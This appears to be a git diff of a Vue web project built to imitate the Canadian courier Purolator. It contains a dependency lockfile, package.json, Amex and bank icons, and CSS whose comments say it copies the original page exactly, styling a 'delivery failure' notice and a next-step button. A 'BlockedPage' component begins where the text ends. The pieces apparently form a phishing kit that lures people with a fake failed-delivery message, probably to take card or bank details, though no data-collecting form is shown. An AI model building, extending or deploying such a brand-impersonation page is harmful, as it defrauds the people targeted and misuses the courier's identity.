"integrity": "sha512-hkDbA0Q20ZzGgpj5uZjb9rBzQtIHLS78mMilwrlpWk2Ep37DYntUz0PonQ6kr113vfOEdM+zTBuJDaceNIW0tQ==",
|
||||||
|
"dependencies": {
|
||||||
|
"@vue/compiler-dom": "3.5.17",
|
||||||
|
"@vue/shared": "3.5.17"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@vue/devtools-api": {
|
||||||
|
"version": "6.6.4",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@vue/devtools-api/-/devtools-api-6.6.4.tgz",
|
||||||
|
"integrity": "sha512-sGhTPMuXqZ1rVOk32RylztWkfXTRhuS7vgAKv0zjqk8gbsHkJ7xfFf+jbySxt7tWObEJwyKaHMikV/WGDiQm8g=="
|
||||||
|
},
|
||||||
|
"node_modules/@vue/reactivity": {
|
||||||
|
"version": "3.5.17",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@vue/reactivity/-/reactivity-3.5.17.tgz",
|
||||||
|
"integrity": "sha512-l/rmw2STIscWi7SNJp708FK4Kofs97zc/5aEPQh4bOsReD/8ICuBcEmS7KGwDj5ODQLYWVN2lNibKJL1z5b+Lw==",
|
||||||
|
"dependencies": {
|
||||||
|
"@vue/shared": "3.5.17"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@vue/runtime-core": {
|
||||||
|
"version": "3.5.17",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@vue/runtime-core/-/runtime-core-3.5.17.tgz",
|
||||||
|
"integrity": "sha512-QQLXa20dHg1R0ri4bjKeGFKEkJA7MMBxrKo2G+gJikmumRS7PTD4BOU9FKrDQWMKowz7frJJGqBffYMgQYS96Q==",
|
||||||
|
"dependencies": {
|
||||||
|
"@vue/reactivity": "3.5.17",
|
||||||
|
"@vue/shared": "3.5.17"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@vue/runtime-dom": {
|
||||||
|
"version": "3.5.17",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@vue/runtime-dom/-/runtime-dom-3.5.17.tgz",
|
||||||
|
"integrity": "sha512-8El0M60TcwZ1QMz4/os2MdlQECgGoVHPuLnQBU3m9h3gdNRW9xRmI8iLS4t/22OQlOE6aJvNNlBiCzPHur4H9g==",
|
||||||
|
"dependencies": {
|
||||||
|
"@vue/reactivity": "3.5.17",
|
||||||
|
"@vue/runtime-core": "3.5.17",
|
||||||
|
"@vue/shared": "3.5.17",
|
||||||
|
"csstype": "^3.1.3"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@vue/server-renderer": {
|
||||||
|
"version": "3.5.17",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@vue/server-renderer/-/server-renderer-3.5.17.tgz",
|
||||||
|
"integrity": "sha512-BOHhm8HalujY6lmC3DbqF6uXN/K00uWiEeF22LfEsm9Q93XeJ/plHTepGwf6tqFcF7GA5oGSSAAUock3VvzaCA==",
|
||||||
|
"dependencies": {
|
||||||
|
"@vue/compiler-ssr": "3.5.17",
|
||||||
|
"@vue/shared": "3.5.17"
|
||||||
|
},
|
||||||
|
"peerDependencies": {
|
||||||
|
"vue": "3.5.17"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@vue/shared": {
|
||||||
|
"version": "3.5.17",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@vue/shared/-/shared-3.5.17.tgz",
|
||||||
|
"integrity": "sha512-CabR+UN630VnsJO/jHWYBC1YVXyMq94KKp6iF5MQgZJs5I8cmjw6oVMO1oDbtBkENSHSSn/UadWlW/OAgdmKrg=="
|
||||||
|
},
|
||||||
|
"node_modules/csstype": {
|
||||||
|
"version": "3.1.3",
|
||||||
|
"resolved": "https://registry.npmmirror.com/csstype/-/csstype-3.1.3.tgz",
|
||||||
|
"integrity": "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw=="
|
||||||
|
},
|
||||||
|
"node_modules/entities": {
|
||||||
|
"version": "4.5.0",
|
||||||
|
"resolved": "https://registry.npmmirror.com/entities/-/entities-4.5.0.tgz",
|
||||||
|
"integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==",
|
||||||
|
"engines": {
|
||||||
|
"node": ">=0.12"
|
||||||
|
},
|
||||||
|
"funding": {
|
||||||
|
"url": "https://github.com/fb55/entities?sponsor=1"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/esbuild": {
|
||||||
|
"version": "0.18.20",
|
||||||
|
"resolved": "https://registry.npmmirror.com/esbuild/-/esbuild-0.18.20.tgz",
|
||||||
|
"integrity": "sha512-ceqxoedUrcayh7Y7ZX6NdbbDzGROiyVBgC4PriJThBKSVPWnnFHZAkfI1lJT8QFkOwH4qOS2SJkS4wvpGl8BpA==",
|
||||||
|
"dev": true,
|
||||||
|
"hasInstallScript": true,
|
||||||
|
"bin": {
|
||||||
|
"esbuild": "bin/esbuild"
|
||||||
|
},
|
||||||
|
"engines": {
|
||||||
|
"node": ">=12"
|
||||||
|
},
|
||||||
|
"optionalDependencies": {
|
||||||
|
"@esbuild/android-arm": "0.18.20",
|
||||||
|
"@esbuild/android-arm64": "0.18.20",
|
||||||
|
"@esbuild/android-x64": "0.18.20",
|
||||||
|
"@esbuild/darwin-arm64": "0.18.20",
|
||||||
|
"@esbuild/darwin-x64": "0.18.20",
|
||||||
|
"@esbuild/freebsd-arm64": "0.18.20",
|
||||||
|
"@esbuild/freebsd-x64": "0.18.20",
|
||||||
|
"@esbuild/linux-arm": "0.18.20",
|
||||||
|
"@esbuild/linux-arm64": "0.18.20",
|
||||||
|
"@esbuild/linux-ia32": "0.18.20",
|
||||||
|
"@esbuild/linux-loong64": "0.18.20",
|
||||||
|
"@esbuild/linux-mips64el": "0.18.20",
|
||||||
|
"@esbuild/linux-ppc64": "0.18.20",
|
||||||
|
"@esbuild/linux-riscv64": "0.18.20",
|
||||||
|
"@esbuild/linux-s390x": "0.18.20",
|
||||||
|
"@esbuild/linux-x64": "0.18.20",
|
||||||
|
"@esbuild/netbsd-x64": "0.18.20",
|
||||||
|
"@esbuild/openbsd-x64": "0.18.20",
|
||||||
|
"@esbuild/sunos-x64": "0.18.20",
|
||||||
|
"@esbuild/win32-arm64": "0.18.20",
|
||||||
|
"@esbuild/win32-ia32": "0.18.20",
|
||||||
|
"@esbuild/win32-x64": "0.18.20"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/estree-walker": {
|
||||||
|
"version": "2.0.2",
|
||||||
|
"resolved": "https://registry.npmmirror.com/estree-walker/-/estree-walker-2.0.2.tgz",
|
||||||
|
"integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w=="
|
||||||
|
},
|
||||||
|
"node_modules/fsevents": {
|
||||||
|
"version": "2.3.3",
|
||||||
|
"resolved": "https://registry.npmmirror.com/fsevents/-/fsevents-2.3.3.tgz",
|
||||||
|
"integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==",
|
||||||
|
"dev": true,
|
||||||
|
"hasInstallScript": true,
|
||||||
|
"optional": true,
|
||||||
|
"os": [
|
||||||
|
"darwin"
|
||||||
|
],
|
||||||
|
"engines": {
|
||||||
|
"node": "^8.16.0 || ^10.6.0 || >=11.0.0"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/magic-string": {
|
||||||
|
"version": "0.30.17",
|
||||||
|
"resolved": "https://registry.npmmirror.com/magic-string/-/magic-string-0.30.17.tgz",
|
||||||
|
"integrity": "sha512-sNPKHvyjVf7gyjwS4xGTaW/mCnF8wnjtifKBEhxfZ7E/S8tQ0rssrwGNn6q8JH/ohItJfSQp9mBtQYuTlH5QnA==",
|
||||||
|
"dependencies": {
|
||||||
|
"@jridgewell/sourcemap-codec": "^1.5.0"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/nanoid": {
|
||||||
|
"version": "3.3.11",
|
||||||
|
"resolved": "https://registry.npmmirror.com/nanoid/-/nanoid-3.3.11.tgz",
|
||||||
|
"integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==",
|
||||||
|
"funding": [
|
||||||
|
{
|
||||||
|
"type": "github",
|
||||||
|
"url": "https://github.com/sponsors/ai"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"bin": {
|
||||||
|
"nanoid": "bin/nanoid.cjs"
|
||||||
|
},
|
||||||
|
"engines": {
|
||||||
|
"node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/picocolors": {
|
||||||
|
"version": "1.1.1",
|
||||||
|
"resolved": "https://registry.npmmirror.com/picocolors/-/picocolors-1.1.1.tgz",
|
||||||
|
"integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA=="
|
||||||
|
},
|
||||||
|
"node_modules/postcss": {
|
||||||
|
"version": "8.5.6",
|
||||||
|
"resolved": "https://registry.npmmirror.com/postcss/-/postcss-8.5.6.tgz",
|
||||||
|
"integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==",
|
||||||
|
"funding": [
|
||||||
|
{
|
||||||
|
"type": "opencollective",
|
||||||
|
"url": "https://opencollective.com/postcss/"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "tidelift",
|
||||||
|
"url": "https://tidelift.com/funding/github/npm/postcss"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "github",
|
||||||
|
"url": "https://github.com/sponsors/ai"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"dependencies": {
|
||||||
|
"nanoid": "^3.3.11",
|
||||||
|
"picocolors": "^1.1.1",
|
||||||
|
"source-map-js": "^1.2.1"
|
||||||
|
},
|
||||||
|
"engines": {
|
||||||
|
"node": "^10 || ^12 || >=14"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/rollup": {
|
||||||
|
"version": "3.29.5",
|
||||||
|
"resolved": "https://registry.npmmirror.com/rollup/-/rollup-3.29.5.tgz",
|
||||||
|
"integrity": "sha512-GVsDdsbJzzy4S/v3dqWPJ7EfvZJfCHiDqe80IyrF59LYuP+e6U1LJoUqeuqRbwAWoMNoXivMNeNAOf5E22VA1w==",
|
||||||
|
"dev": true,
|
||||||
|
"bin": {
|
||||||
|
"rollup": "dist/bin/rollup"
|
||||||
|
},
|
||||||
|
"engines": {
|
||||||
|
"node": ">=14.18.0",
|
||||||
|
"npm": ">=8.0.0"
|
||||||
|
},
|
||||||
|
"optionalDependencies": {
|
||||||
|
"fsevents": "~2.3.2"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/source-map-js": {
|
||||||
|
"version": "1.2.1",
|
||||||
|
"resolved": "https://registry.npmmirror.com/source-map-js/-/source-map-js-1.2.1.tgz",
|
||||||
|
"integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==",
|
||||||
|
"engines": {
|
||||||
|
"node": ">=0.10.0"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/vite": {
|
||||||
|
"version": "4.5.14",
|
||||||
|
"resolved": "https://registry.npmmirror.com/vite/-/vite-4.5.14.tgz",
|
||||||
|
"integrity": "sha512-+v57oAaoYNnO3hIu5Z/tJRZjq5aHM2zDve9YZ8HngVHbhk66RStobhb1sqPMIPEleV6cNKYK4eGrAbE9Ulbl2g==",
|
||||||
|
"dev": true,
|
||||||
|
"dependencies": {
|
||||||
|
"esbuild": "^0.18.10",
|
||||||
|
"postcss": "^8.4.27",
|
||||||
|
"rollup": "^3.27.1"
|
||||||
|
},
|
||||||
|
"bin": {
|
||||||
|
"vite": "bin/vite.js"
|
||||||
|
},
|
||||||
|
"engines": {
|
||||||
|
"node": "^14.18.0 || >=16.0.0"
|
||||||
|
},
|
||||||
|
"funding": {
|
||||||
|
"url": "https://github.com/vitejs/vite?sponsor=1"
|
||||||
|
},
|
||||||
|
"optionalDependencies": {
|
||||||
|
"fsevents": "~2.3.2"
|
||||||
|
},
|
||||||
|
"peerDependencies": {
|
||||||
|
"@types/node": ">= 14",
|
||||||
|
"less": "*",
|
||||||
|
"lightningcss": "^1.21.0",
|
||||||
|
"sass": "*",
|
||||||
|
"stylus": "*",
|
||||||
|
"sugarss": "*",
|
||||||
|
"terser": "^5.4.0"
|
||||||
|
},
|
||||||
|
"peerDependenciesMeta": {
|
||||||
|
"@types/node": {
|
||||||
|
"optional": true
|
||||||
|
},
|
||||||
|
"less": {
|
||||||
|
"optional": true
|
||||||
|
},
|
||||||
|
"lightningcss": {
|
||||||
|
"optional": true
|
||||||
|
},
|
||||||
|
"sass": {
|
||||||
|
"optional": true
|
||||||
|
},
|
||||||
|
"stylus": {
|
||||||
|
"optional": true
|
||||||
|
},
|
||||||
|
"sugarss": {
|
||||||
|
"optional": true
|
||||||
|
},
|
||||||
|
"terser": {
|
||||||
|
"optional": true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/vue": {
|
||||||
|
"version": "3.5.17",
|
||||||
|
"resolved": "https://registry.npmmirror.com/vue/-/vue-3.5.17.tgz",
|
||||||
|
"integrity": "sha512-LbHV3xPN9BeljML+Xctq4lbz2lVHCR6DtbpTf5XIO6gugpXUN49j2QQPcMj086r9+AkJ0FfUT8xjulKKBkkr9g==",
|
||||||
|
"dependencies": {
|
||||||
|
"@vue/compiler-dom": "3.5.17",
|
||||||
|
"@vue/compiler-sfc": "3.5.17",
|
||||||
|
"@vue/runtime-dom": "3.5.17",
|
||||||
|
"@vue/server-renderer": "3.5.17",
|
||||||
|
"@vue/shared": "3.5.17"
|
||||||
|
},
|
||||||
|
"peerDependencies": {
|
||||||
|
"typescript": "*"
|
||||||
|
},
|
||||||
|
"peerDependenciesMeta": {
|
||||||
|
"typescript": {
|
||||||
|
"optional": true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/vue-router": {
|
||||||
|
"version": "4.5.1",
|
||||||
|
"resolved": "https://registry.npmmirror.com/vue-router/-/vue-router-4.5.1.tgz",
|
||||||
|
"integrity": "sha512-ogAF3P97NPm8fJsE4by9dwSYtDwXIY1nFY9T6DyQnGHd1E2Da94w9JIolpe42LJGIl0DwOHBi8TcRPlPGwbTtw==",
|
||||||
|
"dependencies": {
|
||||||
|
"@vue/devtools-api": "^6.6.4"
|
||||||
|
},
|
||||||
|
"funding": {
|
||||||
|
"url": "https://github.com/sponsors/posva"
|
||||||
|
},
|
||||||
|
"peerDependencies": {
|
||||||
|
"vue": "^3.2.0"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
19
package.json
Normal file
@@ -0,0 +1,19 @@
|
|||||||
|
{
|
||||||
|
"name": "purolator-vue-app",
|
||||||
|
"version": "1.0.0",
|
||||||
|
"description": "Purolator Vue Application",
|
||||||
|
"main": "src/main.js",
|
||||||
|
"scripts": {
|
||||||
|
"dev": "vite",
|
||||||
|
"build": "vite build",
|
||||||
|
"preview": "vite preview"
|
||||||
|
},
|
||||||
|
"dependencies": {
|
||||||
|
"vue": "^3.3.0",
|
||||||
|
"vue-router": "^4.5.1"
|
||||||
|
},
|
||||||
|
"devDependencies": {
|
||||||
|
"@vitejs/plugin-vue": "^4.0.0",
|
||||||
|
"vite": "^4.0.0"
|
||||||
|
}
|
||||||
|
}
|
||||||
4
public/assets/amex-logo.svg
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512">
|
||||||
|
<rect width="576" height="512" fill="#016FD0"/>
|
||||||
|
<path d="M325.1 167.8l-12.4 29.8h24.5l-12.1-29.8zm-14.3 92.9h-16.1v-19.7l-25.4 19.7h-16.1v-49.4h16.1v19l25.4-19h16.1v49.4zm-34-42.2l-25.4 19.2v-38.5l25.4 19.3zm-34.2 42.2h-62.9v-49.4h62.9v10.2h-46.8v9.7h45.6v9.3h-45.6v10.1h46.8l-.1 10.1zm-119.5-21.5v-10.3h38v-10.2h-59.1v49.4h62.9v-10.2h-41.8v-18.7h-.1zm-115.1 10.2v-28h-16.1v49.4h55.2v-10.2h-39.1v-11.2zm-34.1-38.6l-9.8 12.9h20.7l-10.9-12.9zm-3.9 38.6h-16.1v-49.4h16.1v49.4zm-46.8-49.4l-17.3 26.3-17.4-26.3h-19.2l26.3 39.5v9.9h16.1v-9.9l26.3-39.5h-14.8zm-35.8 60.7l-2.8-6.4h-18.5l-2.8 6.4h-17.9l19.9-49.4h19.6l19.9 49.4h-17.4z" fill="white"/>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 716 B |
6
public/assets/bank-app-icon.svg
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
|
||||||
|
<rect width="512" height="512" rx="100" fill="#0047b3"/>
|
||||||
|
<path d="M256 120L120 200V380H392V200L256 120Z" fill="white"/>
|
||||||
|
<path d="M256 180L180 230V340H332V230L256 180Z" fill="#0047b3"/>
|
||||||
|
<circle cx="256" cy="260" r="30" fill="white"/>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 311 B |
4
public/assets/bank-icon.svg
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
|
||||||
|
<rect x="3" y="8" width="18" height="12" rx="2" ry="2"></rect>
|
||||||
|
<path d="M12 2 L20 8 L4 8 Z"></path>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 293 B |
4
public/assets/index-Wc09J9bj.css
Normal file
BIN
public/img/FSR-Certified_0-v0kJZovC.png
Normal file
|
After Width: | Height: | Size: 64 KiB |
BIN
public/img/icon-appstore-DUjdPpUP.png
Normal file
|
After Width: | Height: | Size: 4.2 KiB |
BIN
public/img/icon-googleplay-DvFlcbMB.png
Normal file
|
After Width: | Height: | Size: 8.4 KiB |
BIN
public/img/purolator_logo-Dg7zFu9c.png
Normal file
|
After Width: | Height: | Size: 9.2 KiB |
BIN
public/img/shipping-and-receiving-banner-Cjj25G3-.jpg
Normal file
|
After Width: | Height: | Size: 245 KiB |
BIN
public/img/x3_0.png
Normal file
|
After Width: | Height: | Size: 734 B |
35
src/App.vue
Normal file
@@ -0,0 +1,35 @@
|
|||||||
|
<template>
|
||||||
|
<div id="app">
|
||||||
|
<router-view />
|
||||||
|
</div>
|
||||||
|
</template>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
export default {
|
||||||
|
name: 'App'
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<style>
|
||||||
|
/* 全局样式 */
|
||||||
|
* {
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
box-sizing: border-box;
|
||||||
|
}
|
||||||
|
|
||||||
|
body {
|
||||||
|
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen',
|
||||||
|
'Ubuntu', 'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue',
|
||||||
|
sans-serif;
|
||||||
|
-webkit-font-smoothing: antialiased;
|
||||||
|
-moz-osx-font-smoothing: grayscale;
|
||||||
|
background-color: #f5f5f5;
|
||||||
|
}
|
||||||
|
|
||||||
|
#app {
|
||||||
|
min-height: 100vh;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
304
src/assets/purolator.css
Normal file
@@ -0,0 +1,304 @@
|
|||||||
|
/* Purolator 专用样式 - 确保与原页面完全一致 */
|
||||||
|
|
||||||
|
/* 全局重置 */
|
||||||
|
* {
|
||||||
|
box-sizing: border-box;
|
||||||
|
}
|
||||||
|
|
||||||
|
html, body {
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
|
||||||
|
background-color: #f5f5f5;
|
||||||
|
line-height: 1.6;
|
||||||
|
color: #333;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 主要布局 */
|
||||||
|
#app {
|
||||||
|
min-height: 100vh;
|
||||||
|
width: 100%;
|
||||||
|
overflow-x: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
.path-rate-calculator {
|
||||||
|
min-height: 100vh;
|
||||||
|
background: #f5f5f5;
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 头部固定样式 */
|
||||||
|
.header {
|
||||||
|
position: fixed;
|
||||||
|
top: 0;
|
||||||
|
left: 0;
|
||||||
|
width: 100%;
|
||||||
|
z-index: 1000;
|
||||||
|
background: #ffffff;
|
||||||
|
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 主内容区域 */
|
||||||
|
.main {
|
||||||
|
margin-top: 80px;
|
||||||
|
padding: 0;
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.home-header-img {
|
||||||
|
width: 100%;
|
||||||
|
max-height: 200px;
|
||||||
|
max-width: 1200px;
|
||||||
|
margin: 0 auto;
|
||||||
|
display: block;
|
||||||
|
object-fit: cover;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 内容容器 */
|
||||||
|
.stripe.bg--white {
|
||||||
|
background: #ffffff;
|
||||||
|
padding: 40px 0;
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.container {
|
||||||
|
max-width: 1200px;
|
||||||
|
margin: 0 auto;
|
||||||
|
padding: 0 15px;
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 配送状态区域 */
|
||||||
|
.delivery-status-section {
|
||||||
|
max-width: 800px;
|
||||||
|
margin: 0 auto;
|
||||||
|
padding: 30px 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.delivery-title {
|
||||||
|
font-size: 22px;
|
||||||
|
color: #24549d;
|
||||||
|
margin-bottom: 20px;
|
||||||
|
font-weight: 400;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.main_area {
|
||||||
|
max-width: 600px;
|
||||||
|
margin: 0 auto;
|
||||||
|
padding: 30px;
|
||||||
|
background: #ffffff;
|
||||||
|
border-radius: 8px;
|
||||||
|
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.package-number {
|
||||||
|
font-size: 16px;
|
||||||
|
margin-bottom: 20px;
|
||||||
|
color: #333;
|
||||||
|
}
|
||||||
|
|
||||||
|
.package-id {
|
||||||
|
font-size: 15px;
|
||||||
|
font-weight: 500;
|
||||||
|
color: #001996;
|
||||||
|
}
|
||||||
|
|
||||||
|
.delivery-failure-notice {
|
||||||
|
color: #d40511;
|
||||||
|
font-size: 18px;
|
||||||
|
font-weight: 700;
|
||||||
|
margin-bottom: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.delivery-details {
|
||||||
|
text-align: left;
|
||||||
|
margin-bottom: 30px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.main_area_con {
|
||||||
|
margin-bottom: 15px;
|
||||||
|
line-height: 1.6;
|
||||||
|
font-size: 16px;
|
||||||
|
color: #555;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 按钮样式 */
|
||||||
|
.btn.bth-next {
|
||||||
|
background-color: #001996;
|
||||||
|
font-weight: 700;
|
||||||
|
height: 42px;
|
||||||
|
border: 2px solid #001996;
|
||||||
|
color: #ffffff;
|
||||||
|
display: block;
|
||||||
|
outline: none;
|
||||||
|
box-shadow: none;
|
||||||
|
margin: 40px auto 0;
|
||||||
|
width: 100%;
|
||||||
|
max-width: 300px;
|
||||||
|
border-radius: 4.8px;
|
||||||
|
padding: 10px 20px;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: all 0.3s ease;
|
||||||
|
font-size: 16px;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn.bth-next:hover {
|
||||||
|
background-color: #0f2a9c;
|
||||||
|
border-color: #0f2a9c;
|
||||||
|
transform: translateY(-1px);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 页脚样式 */
|
||||||
|
.footer {
|
||||||
|
background: #f8f9fa;
|
||||||
|
margin-top: 60px;
|
||||||
|
width: 100%;
|
||||||
|
clear: both;
|
||||||
|
}
|
||||||
|
|
||||||
|
.content__footer {
|
||||||
|
padding-top: 3rem;
|
||||||
|
border-top: 1px solid #dee2e6;
|
||||||
|
}
|
||||||
|
|
||||||
|
.page__footer {
|
||||||
|
background: #001996;
|
||||||
|
color: #ffffff;
|
||||||
|
padding: 15px 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 响应式设计 */
|
||||||
|
@media (max-width: 768px) {
|
||||||
|
.main {
|
||||||
|
margin-top: 60px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.container {
|
||||||
|
padding: 0 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.delivery-status-section {
|
||||||
|
padding: 15px 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.main_area {
|
||||||
|
padding: 20px 15px;
|
||||||
|
margin: 0 5px;
|
||||||
|
border-radius: 4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn.bth-next {
|
||||||
|
font-size: 14px;
|
||||||
|
height: 40px;
|
||||||
|
max-width: none;
|
||||||
|
margin: 30px auto 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.delivery-title {
|
||||||
|
font-size: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.delivery-failure-notice {
|
||||||
|
font-size: 16px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.package-number {
|
||||||
|
font-size: 14px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.main_area_con {
|
||||||
|
font-size: 14px;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (min-width: 769px) and (max-width: 1024px) {
|
||||||
|
.delivery-status-section {
|
||||||
|
padding: 25px 15px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.main_area {
|
||||||
|
padding: 25px 20px;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (min-width: 1200px) {
|
||||||
|
.delivery-status-section {
|
||||||
|
padding: 40px 30px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.main_area {
|
||||||
|
padding: 40px;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 工具类 */
|
||||||
|
.text-center {
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.d-flex {
|
||||||
|
display: flex;
|
||||||
|
}
|
||||||
|
|
||||||
|
.align-items-center {
|
||||||
|
align-items: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.justify-content-center {
|
||||||
|
justify-content: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.justify-content-between {
|
||||||
|
justify-content: space-between;
|
||||||
|
}
|
||||||
|
|
||||||
|
.bg-white {
|
||||||
|
background-color: #ffffff;
|
||||||
|
}
|
||||||
|
|
||||||
|
.text-white {
|
||||||
|
color: #ffffff;
|
||||||
|
}
|
||||||
|
|
||||||
|
.bg-primary {
|
||||||
|
background-color: #001996;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 确保图片响应式 */
|
||||||
|
img {
|
||||||
|
max-width: 100%;
|
||||||
|
height: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 链接样式 */
|
||||||
|
a {
|
||||||
|
color: #001996;
|
||||||
|
text-decoration: none;
|
||||||
|
transition: all 0.3s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
a:hover {
|
||||||
|
color: #0f2a9c;
|
||||||
|
text-decoration: underline;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 隐藏滚动条但保持功能 */
|
||||||
|
::-webkit-scrollbar {
|
||||||
|
width: 6px;
|
||||||
|
}
|
||||||
|
|
||||||
|
::-webkit-scrollbar-track {
|
||||||
|
background: #f1f1f1;
|
||||||
|
}
|
||||||
|
|
||||||
|
::-webkit-scrollbar-thumb {
|
||||||
|
background: #888;
|
||||||
|
border-radius: 3px;
|
||||||
|
}
|
||||||
|
|
||||||
|
::-webkit-scrollbar-thumb:hover {
|
||||||
|
background: #555;
|
||||||
|
}
|
||||||
81
src/components/BlockedPage.vue
Normal file
@@ -0,0 +1,81 @@
|
|||||||
|
<template>
|
||||||
|
<div class="blocked-container">
|
||||||
|
<div class="blocked-card">
|
||||||
|
<div class="blocked-icon">
|
||||||
|
<svg width="64" height="64" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||||
|
